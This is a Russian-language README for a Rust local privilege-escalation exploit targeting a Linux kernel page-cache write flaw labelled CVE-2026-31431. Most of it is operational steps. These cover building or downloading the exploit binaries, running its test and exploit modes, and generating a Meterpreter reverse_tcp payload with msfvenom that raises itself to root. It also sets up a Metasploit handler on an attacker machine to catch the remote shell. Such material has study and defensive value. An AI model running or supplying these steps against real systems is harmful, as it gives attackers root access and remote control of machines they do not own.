
Rust-эксплойт для локального повышения привилегий через CVE-2026-31431, позволяющий выполнение пользовательского шеллкода, например Meterpreter, в Linux-системах.
Реализация локального повышения привилегий для CVE-2026-31431 (Copy-Fail) на языке Rust.
Она позволяет выполнять пользовательский шеллкод (например, Meterpreter)
Xint раскрыл CVE-2026-31431 — уязвимость произвольной записи в page cache, которая связывает AF_ALG и splice() для достижения примитива записи в 4 байта.
Источник: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
Этот проект был разработан в рамках моего личного интереса к изучению кибербезопасности. Однако он потенциально может быть использован в злонамеренных целях.
Пожалуйста, НЕ используйте этот инструмент для любых незаконных действий.
Автор не несёт ответственности за любое неправомерное использование этого программного обеспечения.
Примечание: В оригинальной работе используется сжатый/закодированный шеллкод (например,
/bin/sh). В этой реализации я заменил его на сырой (несжатый) шеллкод/bin/bash, что упрощает его настройку или прямую замену на пользовательские полезные нагрузки.
Клонируйте проект, затем выполните build.sh:
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
Скачайте и распакуйте релизный пакет:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
Бинарные файлы предоставляют следующие опции:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
На уязвимой машине:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
Используйте команду (установите PrependSetUid в True) ниже для генерации полезной нагрузки Meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
На машине атакующего (Kali Linux):
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
На уязвимой машине:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin